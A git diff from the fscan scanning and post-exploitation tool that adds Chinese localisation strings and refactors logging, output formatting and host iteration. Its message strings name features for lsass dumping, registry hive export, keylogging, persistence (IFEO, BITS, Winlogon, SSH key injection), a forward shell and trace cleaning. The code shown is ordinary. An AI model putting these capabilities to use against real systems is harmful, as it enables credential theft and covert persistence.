+cleaner_startup_removed: + other: "[清理] 启动文件夹: {{.Arg1}}" +cleaner_bits_removed: + other: "[清理] BITS: {{.Arg1}}" +cleaner_wmi_removed: + other: "[清理] WMI 事件订阅" +cleaner_prefetch_removed: + other: "[清理] Prefetch: {{.Arg1}}" +systeminfo_antivirus_process_count: + other: "{{.Arg1}} ({{.Arg2}}个进程)" +powershell_exec_failed: + other: "PowerShell执行失败" +command_output: + other: "输出" +webtitle_no_fingerprint_skip_poc: + other: "WebTitle {{.Arg1}} 无匹配指纹,跳过POC扫描" +webtitle_cdn_waf_skip_poc: + other: "WebTitle {{.Arg1}} 检测到{{.Arg2}},跳过POC扫描" +webtitle_trigger_fingerprint_poc: + other: "WebTitle {{.Arg1}} 触发指纹POC扫描: {{.Arg2}}" +webpoc_disabled: + other: "POC扫描已禁用" +webpoc_full_scan_mode: + other: "WebPOC {{.Arg1}} 全量扫描模式" +web_result_weak_credential: + other: "弱口令" +web_result_anonymous_access: + other: "匿名访问" +web_result_vulnerability: + other: "漏洞" +web_result_weak_credential_detail: + other: "弱口令: {{.Arg1}}" # ========================= Redis插件消息 ========================= redis_reconnect_failed: @@ -564,10 +1350,6 @@ keylogger_save_failed: keylogger_no_input: other: "没有捕获到键盘输入" -# 环境变量信息 -envinfo_sensitive: - other: "发现敏感环境变量: {{.Arg1}}" - # Windows WMI winwmi_success: other: "Windows WMI事件订阅持久化完成: {{.Arg1}}个项目" @@ -578,10 +1360,6 @@ cleaner_success: cleaner_history_found: other: "发现历史文件: {{.Arg1}} (需手动清理相关条目)" -# 文件下载 -downloader_success: - other: "文件下载完成: {{.Arg1}} -> {{.Arg2}} (大小: {{.Arg3}} bytes)" - # 正向Shell forwardshell_complete: other: "正向Shell服务完成 - 端口: {{.Arg1}}" @@ -594,39 +1372,29 @@ forwardshell_client_connected: forwardshell_read_failed: other: "读取客户端命令失败: {{.Arg1}}" -# AV检测 -avdetect_load_failed: - other: "加载AV数据库失败: {{.Arg1}}" -avdetect_loaded: - other: "加载了 {{.Arg1}} 个AV产品信息" -avdetect_found: - other: "检测到AV: {{.Arg1}} ({{.Arg2}}个进程)" -avdetect_process: - other: " - {{.Arg1}}" +# IFEO映像劫持 +winifeo_success: + other: "IFEO映像劫持完成: {{.Arg1}}个目标" + +# BITS持久化 +winbits_success: + other: "BITS持久化完成: {{.Arg1}}" + +# Winlogon持久化 +winlogon_success: + other: "Winlogon持久化完成: {{.Arg1}}个项目" # Windows启动文件夹 winstartup_success: other: "Windows启动文件夹持久化完成: {{.Arg1}}个方法" -# 文件信息 -fileinfo_sensitive: - other: "发现敏感文件: {{.Arg1}}" -fileinfo_potential: - other: "发现潜在敏感文件: {{.Arg1}}" - -# 域控信息 -dcinfo_not_joined: - other: "当前计算机未加入域环境" -dcinfo_success: - other: "域控制器信息收集完成: {{.Arg1}}个类别成功" - # Windows服务 winservice_success: other: "Windows服务持久化完成: {{.Arg1}}个项目" -# Shell环境变量 -shellenv_success: - other: "Shell环境变量持久化完成: {{.Arg1}}个方法成功" +# SSH Key注入 +sshkey_success: + other: "SSH Key注入完成: {{.Arg1}}个用户" # LD_PRELOAD ldpreload_success: @@ -661,6 +1429,9 @@ systemdservice_success: other: "系统服务持久化完成: {{.Arg1}}个方法成功" # 系统信息 +minidump_regsave_success: + other: "注册表 hive 导出完成 (SAM/SECURITY/SYSTEM)" + systeminfo_start: other: "开始系统信息收集" systeminfo_os: @@ -693,6 +1464,60 @@ systeminfo_distro_exists: other: "发行版: /etc/os-release 存在" systeminfo_whoami: other: "当前用户(whoami): {{.Arg1}}" +systeminfo_iface: + other: "网卡 {{.Arg1}}: {{.Arg2}} (MAC: {{.Arg3}})" +systeminfo_privilege: + other: "权限级别: {{.Arg1}}" +systeminfo_privilege_group: + other: "所属管理组: {{.Arg1}}" +systeminfo_id_info: + other: "用户信息: {{.Arg1}}" +systeminfo_firewall: + other: "防火墙: {{.Arg1}}" +systeminfo_firewall_rules: + other: "防火墙规则数: {{.Arg1}}" +systeminfo_patches: + other: "已安装补丁: {{.Arg1}}个" +systeminfo_antivirus: + other: "检测到杀软: {{.Arg1}}" +systeminfo_av_process: + other: " - {{.Arg1}}" +systeminfo_sudo: + other: "sudo权限: {{.Arg1}}" +systeminfo_macos_detail: + other: "macOS: {{.Arg1}}" +systeminfo_sensitive_env: + other: "敏感环境变量: {{.Arg1}}={{.Arg2}}" +systeminfo_sensitive_file: + other: "敏感文件: {{.Arg1}}" +systeminfo_dc_detected: + other: "检测到域环境: {{.Arg1}}" +systeminfo_dc_connect_failed: + other: "域控连接失败: {{.Arg1}}" +systeminfo_dc_basedn: + other: "域 Base DN: {{.Arg1}}" +systeminfo_dc_created: + other: "域创建时间: {{.Arg1}}" +systeminfo_dc_func_level: + other: "域功能级别: {{.Arg1}}" +systeminfo_dc_controllers: + other: "域控制器: {{.Arg1}}个" +systeminfo_dc_controller_detail: + other: " - {{.Arg1}} ({{.Arg2}}) {{.Arg3}}" +systeminfo_dc_admins: + other: "域管理员: {{.Arg1}}个" +systeminfo_dc_admin_detail: + other: " - {{.Arg1}} ({{.Arg2}})" +systeminfo_dc_users: + other: "域用户数: {{.Arg1}}" +systeminfo_dc_computers: + other: "域计算机数: {{.Arg1}}" +systeminfo_dc_computer_detail: + other: " - {{.Arg1}} ({{.Arg2}})" +systeminfo_dc_gpos: + other: "组策略: {{.Arg1}}个" +systeminfo_dc_gpo_detail: + other: " - {{.Arg1}} [{{.Arg2}}]" # Windows计划任务 winschtask_success: @@ -708,6 +1533,14 @@ minidump_panic: minidump_success: other: "成功将lsass.exe内存转储到文件: {{.Arg1}} (大小: {{.Arg2}} bytes)" +# 本地插件通用错误 +local_pe_not_specified: + other: "未指定PE文件,使用 -win-pe 参数" +local_pe_not_found: + other: "PE文件不存在: {{.Arg1}}" +local_invalid_pe: + other: "无效的PE文件: {{.Arg1}}" + # ========================= WebScan消息 ========================= webscan_target_url_failed: other: "构建目标URL失败: {{.Arg1}}" @@ -739,10 +1572,100 @@ webscan_request_restricted: other: "POC HTTP请求 {{.Arg1}} 受限: {{.Arg2}}" webscan_response_parse_failed: other: "响应解析失败: {{.Arg1}}" +webscan_err_invalid_url: + other: "无效的URL格式" +webscan_err_empty_target: + other: "目标URL为空" +webscan_err_poc_not_found: + other: "未找到匹配的POC" +webscan_err_poc_load_failed: + other: "POC加载失败" +fingerprint_enhanced_parse_failed: + other: "解析增强指纹库失败" +webscan_cel_env_not_initialized: + other: "基础CEL环境未初始化" +webscan_expression_compile_failed: + other: "表达式编译错误" +webscan_program_create_failed: + other: "程序创建错误" +webscan_expression_eval_failed: + other: "表达式评估错误" +webscan_request_execute_failed: + other: "请求执行失败" +webscan_request_body_read_failed: + other: "读取请求体失败" +webscan_response_body_process_failed: + other: "处理响应体失败" +webscan_http_client_init_failed: + other: "HTTP客户端初始化失败" +webscan_socks5_proxy_config_failed: + other: "SOCKS5代理配置失败" +webscan_unsupported_proxy_type: + other: "不支持的代理类型" +webscan_proxy_url_parse_failed: + other: "代理URL解析失败" +webscan_strmap_parse_failed: + other: "StrMap解析失败: 键或值不是字符串类型" +webscan_rulemap_key_invalid: + other: "RuleMap解析失败: 键不是字符串类型" +webscan_listmap_key_invalid: + other: "ListMap解析失败: 键不是字符串类型" +webscan_listmap_value_invalid: + other: "ListMap解析失败: 值不是数组类型" +webscan_poc_load_one_failed: + other: "POC加载失败 {{.Arg1}}: {{.Arg2}}" +webscan_poc_parse_failed: + other: "POC解析失败" +webscan_poc_convert_failed: + other: "POC格式转换失败" +webscan_poc_file_read_failed: + other: "POC文件读取失败" +webscan_poc_dir_read_failed: + other: "读取POC目录失败: {{.Arg1}}" +webscan_unknown_poc_format: + other: "未知POC格式" +webscan_fscan_format_parse_failed: + other: "fscan格式解析失败" +webscan_nuclei_format_parse_failed: + other: "nuclei格式解析失败" +webscan_nuclei_no_http_rules: + other: "nuclei模板没有有效的HTTP规则" +webscan_xray_format_parse_failed: + other: "xray格式解析失败" +webscan_xray_no_rules: + other: "xray POC没有有效的规则" +webscan_afrog_format_parse_failed: + other: "afrog格式解析失败" +webscan_afrog_no_rules: + other: "afrog POC没有有效的规则" +webscan_vuln_detail_header: + other: "目标: {{.Arg1}}\n 漏洞类型: {{.Arg2}}\n 漏洞名称: {{.Arg3}}\n 详细信息:" +webscan_vuln_author: + other: "作者:{{.Arg1}}" +webscan_vuln_references: + other: "参考链接:{{.Arg1}}" +webscan_vuln_description: + other: "描述:{{.Arg1}}" +webscan_exec_env_error: + other: "执行环境错误" +webscan_request_parse_error: + other: "请求解析错误" +webscan_request_create_error: + other: "请求创建错误" +webscan_vuln_detected: + other: "检测到漏洞 {{.Arg1}} {{.Arg2}}" +webscan_vuln_detected_params: + other: "检测到漏洞 {{.Arg1}} {{.Arg2}} 参数:{{.Arg3}}" +webscan_http_request_error: + other: "HTTP请求错误" +webscan_request_send_error: + other: "请求发送错误" # Main 入口 param_error: other: "参数错误: {{.Arg1}}" +param_exclusive: + other: "参数 {{.Arg1}} 互斥,请只指定一个扫描目标\n -h: 网络主机扫描\n -u: Web URL扫描\n -local: 本地信息收集" error_generic: other: "错误: {{.Arg1}}" init_failed: @@ -761,3 +1684,131 @@ web_shutting_down: other: "Web服务器正在关闭..." web_mode_not_supported: other: "当前版本不支持Web模式,请使用 -tags web 重新编译" + +# ========================= Debug消息 ========================= +debug_create_profiles_failed: + other: "创建 profiles 目录失败: {{.Arg1}}" +debug_create_cpu_profile_failed: + other: "创建 CPU profile 失败: {{.Arg1}}" +debug_start_cpu_profile_failed: + other: "启动 CPU profile 失败: {{.Arg1}}" +debug_cpu_profile_started: + other: "CPU profiling 已启动 -> {{.Arg1}}/cpu.prof" +debug_create_trace_failed: + other: "创建 trace 文件失败: {{.Arg1}}" +debug_start_trace_failed: + other: "启动 trace 失败: {{.Arg1}}" +debug_trace_started: + other: "Execution trace 已启动 -> {{.Arg1}}/trace.out" +debug_profiling_started: + other: "性能分析已启动,程序结束时自动保存到 {{.Arg1}}/" +debug_cpu_profile_saved: + other: "CPU profile 已保存" +debug_trace_saved: + other: "Trace 已保存" +debug_create_mem_profile_failed: + other: "创建内存 profile 失败: {{.Arg1}}" +debug_write_mem_profile_failed: + other: "写入内存 profile 失败: {{.Arg1}}" +debug_mem_profile_saved: + other: "内存 profile 已保存 -> {{.Arg1}}/mem.prof" +debug_create_goroutine_profile_failed: + other: "创建 goroutine profile 失败: {{.Arg1}}" +debug_write_goroutine_profile_failed: + other: "写入 goroutine profile 失败: {{.Arg1}}" +debug_goroutine_profile_saved: + other: "Goroutine profile 已保存 -> {{.Arg1}}/goroutine.prof" +debug_profiles_saved: + other: "所有性能分析文件已保存到 {{.Arg1}}/" +debug_view_methods: + other: "查看方法:" +debug_cpu_flamegraph: + other: "CPU 火焰图" +debug_mem_flamegraph: + other: "内存火焰图" +debug_goroutine_analysis: + other: "协程分析" +debug_execution_timeline: + other: "执行时间线" + +# ========================= 代理消息 ========================= +proxy_unsupported_type: + other: "不支持的代理类型" +proxy_empty_config: + other: "配置不能为空" +proxy_socks5_parse_failed: + other: "SOCKS5代理地址解析失败" +proxy_socks5_create_failed: + other: "SOCKS5拨号器创建失败" +proxy_socks5_conn_timeout: + other: "SOCKS5连接超时" +proxy_socks5_conn_failed: + other: "SOCKS5连接失败" +proxy_direct_conn_failed: + other: "直连失败" +proxy_http_conn_failed: + other: "连接HTTP代理服务器失败" +proxy_http_set_write_timeout: + other: "设置写超时失败" +proxy_http_send_connect_failed: + other: "发送CONNECT请求失败" +proxy_http_set_read_timeout: + other: "设置读超时失败" +proxy_http_read_response_failed: + other: "读取HTTP响应失败" +proxy_http_status_failed: + other: "HTTP代理连接失败,状态码: %d" +proxy_tls_tcp_conn_failed: + other: "建立TCP连接失败" +proxy_tls_handshake_failed: + other: "TLS握手失败" + +# ========================= 输出消息 ========================= +output_section_hosts: + other: "# ===== 存活主机 =====" +output_section_ports: + other: "# ===== 开放端口 =====" +output_section_services: + other: "# ===== 服务信息 =====" +output_section_vulns: + other: "# ===== 漏洞信息 =====" +output_section_web_services: + other: "# ===== Web服务 =====" + +# ========================= 端口指纹消息 ========================= +portfinger_probe_protocol_invalid: + other: "探测器协议必须是 TCP 或 UDP" +portfinger_probe_name_invalid: + other: "nmap-service-probes - 探测器名称无效" +portfinger_input_empty: + other: "输入数据为空" +portfinger_probe_file_empty: + other: "读取nmap-service-probes文件失败: 内容为空" +portfinger_probe_exclude_duplicate: + other: "nmap-service-probes文件中只允许有一个Exclude指令" +portfinger_probe_first_line_invalid: + other: "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头" +portfinger_match_directive_invalid: + other: "无效的{{.Arg1}}指令格式" + +# ========================= 服务插件通用消息 ========================= +service_no_credentials: + other: "没有可用的测试凭据" +service_not_identified: + other: "无法识别为{{.Arg1}}服务" +service_port_restriction: + other: "{{.Arg1}}插件仅支持{{.Arg2}}端口" +service_target_unreachable: + other: "目标不可达: {{.Arg1}}" +service_unauthorized: + other: "未授权访问" +service_auth_failed: + other: "认证失败" +service_connection_failed: + other: "连接失败: {{.Arg1}}" +service_no_weak_pass: + other: "未发现弱密码" +service_no_test_creds: + other: "无凭据可测试" +service_conn_port_failed: + other: "连接端口失败: {{.Arg1}}" diff --git a/common/initialize.go b/common/initialize.go index fbebf84..99a7671 100644 --- a/common/initialize.go +++ b/common/initialize.go @@ -2,6 +2,8 @@ package common import ( "fmt" + + "github.com/shadow1ng/fscan/common/i18n" ) /* @@ -28,7 +30,7 @@ func Initialize(info *HostInfo) (*InitResult, error) { // 2. 从 FlagVars 构建 Config 和 State cfg, state, err := BuildConfig(GetFlagVars(), info) if err != nil { - return nil, fmt.Errorf("配置构建失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("config_build_failed"), err) } // 3. 设置全局实例 @@ -37,7 +39,7 @@ func Initialize(info *HostInfo) (*InitResult, error) { // 4. 初始化输出系统 if err := InitOutput(); err != nil { - return nil, fmt.Errorf("输出初始化失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("output_init_failed"), err) } session := NewScanSession(cfg, state, GetFlagVars()) @@ -65,7 +67,7 @@ func ValidateExclusiveParams(info *HostInfo) error { if fv.TargetURL != "" { paramCount++ if activeParam != "" { - activeParam += " 和 -u" + activeParam = i18n.Tr("param_join_and", activeParam, "-u") } else { activeParam = "-u" } @@ -73,14 +75,14 @@ func ValidateExclusiveParams(info *HostInfo) error { if fv.LocalPlugin != "" { paramCount++ if activeParam != "" { - activeParam += " 和 -local" + activeParam = i18n.Tr("param_join_and", activeParam, "-local") } else { activeParam = "-local" } } if paramCount > 1 { - return fmt.Errorf("参数 %s 互斥,请只指定一个扫描目标\n -h: 网络主机扫描\n -u: Web URL扫描\n -local: 本地信息收集", activeParam) + return fmt.Errorf("%s", i18n.Tr("param_exclusive", activeParam)) } return nil diff --git a/common/logger.go b/common/logger.go index 323a013..23f2d5f 100644 --- a/common/logger.go +++ b/common/logger.go @@ -14,11 +14,16 @@ import ( ) var ( - globalLogger *logging.Logger - loggerOnce sync.Once + globalLogger *logging.Logger + loggerOnce sync.Once + loggerMu sync.Mutex + silentLoggerRefs int ) func getGlobalLogger() *logging.Logger { + loggerMu.Lock() + defer loggerMu.Unlock() + loggerOnce.Do(func() { fv := GetFlagVars() level := getLogLevelFromString(fv.LogLevel) @@ -27,7 +32,7 @@ func getGlobalLogger() *logging.Logger { EnableColor: !fv.NoColor, SlowOutput: false, ShowProgress: !fv.DisableProgress, - Silent: fv.Silent, + Silent: fv.Silent || silentLoggerRefs > 0, StartTime: GetGlobalState().GetStartTime(), } if fv.Debug { @@ -84,6 +89,40 @@ func LogError(errMsg string) { getGlobalLogger().Error(errMsg) } // CloseLogger 关闭日志系统,释放文件资源 func CloseLogger() { + loggerMu.Lock() + defer loggerMu.Unlock() + closeLoggerLocked() +} + +// PushSilentLogger suppresses process-wide legacy log output until the returned +// restore function is called. It is reference counted so concurrent embedded +// scans can overlap safely. +func PushSilentLogger() func() { + loggerMu.Lock() + silentLoggerRefs++ + resetLoggerLocked() + loggerMu.Unlock() + + var once sync.Once + return func() { + once.Do(func() { + loggerMu.Lock() + if silentLoggerRefs > 0 { + silentLoggerRefs-- + } + resetLoggerLocked() + loggerMu.Unlock() + }) + } +} + +func resetLoggerLocked() { + closeLoggerLocked() + globalLogger = nil + loggerOnce = sync.Once{} +} + +func closeLoggerLocked() { if globalLogger != nil { globalLogger.Close() } diff --git a/common/network.go b/common/network.go index 1fa304f..f45abb8 100644 --- a/common/network.go +++ b/common/network.go @@ -16,6 +16,7 @@ import ( "sync" "time" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/common/proxy" ) @@ -102,20 +103,20 @@ func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig { // TCP 连接 // ============================================================================= -// Deprecated: WrapperTcpWithTimeout 仅供 mylib/grdp 兼容使用,新代码请用 ScanSession.DialTCP +// Deprecated: WrapperTcpWithTimeout 仅供 libs/grdp 兼容使用,新代码请用 ScanSession.DialTCP // //nolint:revive func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { // 检查发包限制 - 在代理连接前进行控制 if canSend, reason := CanSendPacket(); !canSend { - LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, reason)) - return nil, fmt.Errorf("发包受限: %s", reason) + LogError(i18n.Tr("tcp_connection_restricted", address, reason)) + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) } // 获取全局拨号器(复用,避免重复创建) dialer, err := getGlobalDialer(timeout) if err != nil { - LogError(fmt.Sprintf("获取代理拨号器失败: %v", err)) + LogError(i18n.Tr("proxy_dialer_failed", err)) GetGlobalState().IncrementTCPFailedPacketCount() return nil, err } @@ -126,7 +127,7 @@ func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net. // 统计TCP包数量 - 无论是否使用代理都要计数 if err != nil { GetGlobalState().IncrementTCPFailedPacketCount() - LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err)) + LogDebug(i18n.Tr("connection_failed", address, err)) return nil, err } @@ -165,8 +166,8 @@ func IsSOCKS5Proxy() bool { func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) { // 检查发包限制 if canSend, reason := CanSendPacket(); !canSend { - LogError(fmt.Sprintf("HTTP请求 %s 受限: %s", req.URL.String(), reason)) - return nil, fmt.Errorf("发包受限: %s", reason) + LogError(i18n.Tr("http_request_restricted", req.URL.String(), reason)) + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) } // 执行HTTP请求 diff --git a/common/output/buffer.go b/common/output/buffer.go index 35efaae..23fa0a0 100644 --- a/common/output/buffer.go +++ b/common/output/buffer.go @@ -1,9 +1,6 @@ package output -import ( - "fmt" - "sync" -) +import "sync" // ResultBuffer 公共的去重缓冲逻辑,供各Writer复用 type ResultBuffer struct { @@ -103,7 +100,7 @@ func (b *ResultBuffer) generateKey(result *ScanResult) string { case TypePort: if result.Details != nil { if port, ok := result.Details["port"]; ok { - return fmt.Sprintf("%s:%v", result.Target, port) + return targetWithPort(result.Target, port) } } return result.Target diff --git a/common/output/writers.go b/common/output/writers.go index d345b4a..328d710 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -5,10 +5,13 @@ import ( "encoding/csv" "encoding/json" "fmt" + "net" "os" "strings" "sync" "time" + + "github.com/shadow1ng/fscan/common/i18n" ) // escapeControlChars 转义控制字符 @@ -35,6 +38,20 @@ func escapeControlChars(s string) string { return b.String() } +func targetWithPort(target string, port interface{}) string { + if port == nil { + return target + } + if _, _, err := net.SplitHostPort(target); err == nil { + return target + } + portText := fmt.Sprint(port) + if strings.Count(target, ":") == 1 { + return target + } + return net.JoinHostPort(target, portText) +} + // ============================================================================= // TXTWriter - 文本格式写入器 // ============================================================================= @@ -112,13 +129,13 @@ func (w *TXTWriter) Write(result *ScanResult) error { func (w *TXTWriter) getSeparator(newType ResultType) string { switch newType { case TypeHost: - return "# ===== 存活主机 =====" + return i18n.GetText("output_section_hosts") case TypePort: - return "# ===== 开放端口 =====" + return i18n.GetText("output_section_ports") case TypeService: - return "# ===== 服务信息 =====" + return i18n.GetText("output_section_services") case TypeVuln: - return "# ===== 漏洞信息 =====" + return i18n.GetText("output_section_vulns") default: return "# ====================" } @@ -132,7 +149,7 @@ func (w *TXTWriter) formatLine(result *ScanResult) string { case TypePort: port := w.getDetail(result, "port") if port != nil { - return fmt.Sprintf("%s:%v", result.Target, port) + return targetWithPort(result.Target, port) } return result.Target case TypeService: @@ -165,12 +182,7 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string { } // 非Web服务:ip:port service banner - target := result.Target - if !strings.Contains(target, ":") { - if port := w.getDetail(result, "port"); port != nil { - target = fmt.Sprintf("%s:%v", target, port) - } - } + target := targetWithPort(result.Target, w.getDetail(result, "port")) var parts []string parts = append(parts, target) @@ -189,12 +201,7 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string { // formatWebServiceLine 格式化Web服务结果 func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string { - target := result.Target - if !strings.Contains(target, ":") { - if port := w.getDetail(result, "port"); port != nil { - target = fmt.Sprintf("%s:%v", target, port) - } - } + target := targetWithPort(result.Target, w.getDetail(result, "port")) url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target) title := w.getDetailStr(result, "title") @@ -362,12 +369,7 @@ func (w *TXTWriter) writeWebServices() { continue } - target := result.Target - if !strings.Contains(target, ":") { - if port := w.getDetail(result, "port"); port != nil { - target = fmt.Sprintf("%s:%v", target, port) - } - } + target := targetWithPort(result.Target, w.getDetail(result, "port")) urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)) } @@ -376,7 +378,7 @@ func (w *TXTWriter) writeWebServices() { return } - _, _ = w.bufWriter.WriteString("# ===== Web服务 =====\n") + _, _ = w.bufWriter.WriteString(i18n.GetText("output_section_web_services") + "\n") for _, url := range urls { _, _ = w.bufWriter.WriteString(url + "\n") } @@ -743,10 +745,8 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { } } target := result.Target - if !strings.Contains(target, ":") { - if p, ok := result.Details["port"]; ok { - target = fmt.Sprintf("%s:%v", target, p) - } + if result.Details != nil { + target = targetWithPort(target, result.Details["port"]) } return []string{target, service, version, title, status, server, fingerprints, banner} } diff --git a/common/output/writers_test.go b/common/output/writers_test.go index fd590a7..7118ebb 100644 --- a/common/output/writers_test.go +++ b/common/output/writers_test.go @@ -57,6 +57,28 @@ func createTestResult(resultType ResultType, target, status string, details map[ } } +func TestTargetWithPortIPv6(t *testing.T) { + tests := []struct { + name string + target string + port interface{} + want string + }{ + {name: "ipv4 without port", target: "192.168.1.1", port: 80, want: "192.168.1.1:80"}, + {name: "ipv4 with port", target: "192.168.1.1:80", port: 443, want: "192.168.1.1:80"}, + {name: "ipv6 without port", target: "2001:db8::1", port: 443, want: "[2001:db8::1]:443"}, + {name: "ipv6 with port", target: "[2001:db8::1]:443", port: 80, want: "[2001:db8::1]:443"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := targetWithPort(tt.target, tt.port); got != tt.want { + t.Fatalf("targetWithPort(%q, %v) = %q, want %q", tt.target, tt.port, got, tt.want) + } + }) + } +} + // ============================================================================= // TXTWriter - 基础功能测试 // ============================================================================= diff --git a/common/parsers/constants.go b/common/parsers/constants.go index a61c68e..2c32eb4 100644 --- a/common/parsers/constants.go +++ b/common/parsers/constants.go @@ -21,15 +21,6 @@ const ( MaxPort = 65535 ) -// ============================================================================= -// IP/主机解析常量 -// ============================================================================= - -const ( - // SimpleMaxHosts 最大主机数量限制 - SimpleMaxHosts = 10000 -) - // ============================================================================= // 哈希验证常量 // ============================================================================= diff --git a/common/parsers/host_iterator.go b/common/parsers/host_iterator.go new file mode 100644 index 0000000..f937462 --- /dev/null +++ b/common/parsers/host_iterator.go @@ -0,0 +1,490 @@ +package parsers + +import ( + "bufio" + "context" + "fmt" + "net" + "os" + "strconv" + "strings" + + "github.com/shadow1ng/fscan/common/i18n" +) + +const DefaultHostBatchSize = 4096 + +type HostIterator struct { + sources []hostSource + current hostSource + exclude *hostMatcher +} + +func NewHostIterator(host string, filename string, nohosts ...string) (*HostIterator, error) { + var sources []hostSource + + if filename != "" { + fileSrc, err := newFileHostSource(filename) + if err != nil { + return nil, err + } + sources = append(sources, fileSrc) + } + + hostSources, err := newHostSources(host) + if err != nil { + closeHostSources(sources) + return nil, err + } + sources = append(sources, hostSources...) + + matcher := newHostMatcher() + for _, exclude := range nohosts { + if strings.TrimSpace(exclude) == "" { + continue + } + if err := matcher.add(exclude); err != nil { + closeHostSources(sources) + return nil, err + } + } + + return &HostIterator{ + sources: sources, + exclude: matcher, + }, nil +} + +func (it *HostIterator) Close() error { + if it == nil { + return nil + } + var firstErr error + if it.current != nil { + firstErr = it.current.Close() + it.current = nil + } + for _, src := range it.sources { + if err := src.Close(); err != nil && firstErr == nil { + firstErr = err + } + } + it.sources = nil + return firstErr +} + +func (it *HostIterator) Next() (string, bool, error) { + for { + if it.current == nil { + if len(it.sources) == 0 { + return "", false, nil + } + it.current = it.sources[0] + it.sources = it.sources[1:] + } + + host, ok, err := it.current.Next() + if err != nil { + return "", false, err + } + if !ok { + if err := it.current.Close(); err != nil { + return "", false, err + } + it.current = nil + continue + } + if it.exclude != nil && it.exclude.match(host) { + continue + } + return host, true, nil + } +} + +func (it *HostIterator) NextBatch(ctx context.Context, size int) ([]string, error) { + if size <= 0 { + size = DefaultHostBatchSize + } + + batch := make([]string, 0, size) + seen := make(map[string]struct{}, size) + for len(batch) < size { + select { + case <-ctx.Done(): + return batch, ctx.Err() + default: + } + + host, ok, err := it.Next() + if err != nil { + return batch, err + } + if !ok { + return batch, nil + } + if _, exists := seen[host]; exists { + continue + } + seen[host] = struct{}{} + batch = append(batch, host) + } + return batch, nil +} + +type hostSource interface { + Next() (string, bool, error) + Close() error +} + +type singleHostSource struct { + host string + done bool +} + +func (s *singleHostSource) Next() (string, bool, error) { + if s.done { + return "", false, nil + } + s.done = true + return s.host, true, nil +} + +func (s *singleHostSource) Close() error { return nil } + +type cidrHostSource struct { + current uint32 + end uint32 + done bool +} + +func (s *cidrHostSource) Next() (string, bool, error) { + if s.done || s.current > s.end { + return "", false, nil + } + host := uint32ToIP(s.current) + if s.current == s.end { + s.done = true + } else { + s.current++ + } + return host, true, nil +} + +func (s *cidrHostSource) Close() error { return nil } + +type fileHostSource struct { + file *os.File + scanner *bufio.Scanner + current hostSource +} + +func newFileHostSource(filename string) (*fileHostSource, error) { + file, err := os.Open(filename) + if err != nil { + return nil, err + } + src := &fileHostSource{ + file: file, + scanner: bufio.NewScanner(file), + } + src.scanner.Buffer(make([]byte, 64*1024), 4*1024*1024) + return src, nil +} + +func (s *fileHostSource) Next() (string, bool, error) { + for { + if s.current != nil { + host, ok, err := s.current.Next() + if err != nil { + return "", false, err + } + if ok { + return host, true, nil + } + _ = s.current.Close() + s.current = nil + } + + if !s.scanner.Scan() { + if err := s.scanner.Err(); err != nil { + return "", false, err + } + return "", false, nil + } + line := strings.TrimSpace(s.scanner.Text()) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + sources, err := newHostSources(line) + if err != nil || len(sources) == 0 { + continue + } + if len(sources) == 1 { + s.current = sources[0] + continue + } + s.current = &multiHostSource{sources: sources} + } +} + +func (s *fileHostSource) Close() error { + if s.current != nil { + _ = s.current.Close() + s.current = nil + } + if s.file == nil { + return nil + } + err := s.file.Close() + s.file = nil + return err +} + +type multiHostSource struct { + sources []hostSource + current hostSource +} + +func (s *multiHostSource) Next() (string, bool, error) { + for { + if s.current == nil { + if len(s.sources) == 0 { + return "", false, nil + } + s.current = s.sources[0] + s.sources = s.sources[1:] + } + host, ok, err := s.current.Next() + if err != nil { + return "", false, err + } + if ok { + return host, true, nil + } + _ = s.current.Close() + s.current = nil + } +} + +func (s *multiHostSource) Close() error { + if s.current != nil { + _ = s.current.Close() + s.current = nil + } + closeHostSources(s.sources) + s.sources = nil + return nil +} + +func newHostSources(host string) ([]hostSource, error) { + var sources []hostSource + for _, h := range strings.Split(host, ",") { + h = strings.TrimSpace(h) + if h == "" { + continue + } + src, err := newHostSource(h) + if err != nil { + closeHostSources(sources) + return nil, err + } + sources = append(sources, src) + } + return sources, nil +} + +func newHostSource(host string) (hostSource, error) { + switch { + case host == "192": + return newCIDRHostSource("192.168.0.0/16") + case host == "172": + return newCIDRHostSource("172.16.0.0/12") + case host == "10": + return newCIDRHostSource("10.0.0.0/8") + case strings.Contains(host, "/"): + src, err := newCIDRHostSource(host) + if err != nil { + return nil, fmt.Errorf(i18n.Tr("parser_cidr_failed", host)+": %w", err) + } + return src, nil + case strings.Contains(host, "-") && !strings.Contains(host, ":") && looksLikeIPRange(host): + src, err := newRangeHostSource(host) + if err != nil { + return nil, fmt.Errorf(i18n.Tr("parser_ip_range_failed", host)+": %w", err) + } + return src, nil + default: + return &singleHostSource{host: host}, nil + } +} + +func newCIDRHostSource(cidr string) (hostSource, error) { + _, ipNet, err := net.ParseCIDR(cidr) + if err != nil { + return nil, err + } + + start, ok := ipToUint32(ipNet.IP) + if !ok { + return nil, fmt.Errorf("%s", i18n.GetText("parser_ipv4_only")) + } + ones, bits := ipNet.Mask.Size() + if bits != 32 { + return nil, fmt.Errorf("%s", i18n.GetText("parser_ipv4_only")) + } + size := uint64(1) << uint(32-ones) + end := start + uint32(size-1) + if size > 2 { + start++ + end-- + } + return &cidrHostSource{current: start, end: end}, nil +} + +func newRangeHostSource(rangeStr string) (hostSource, error) { + parts := strings.Split(rangeStr, "-") + if len(parts) != 2 { 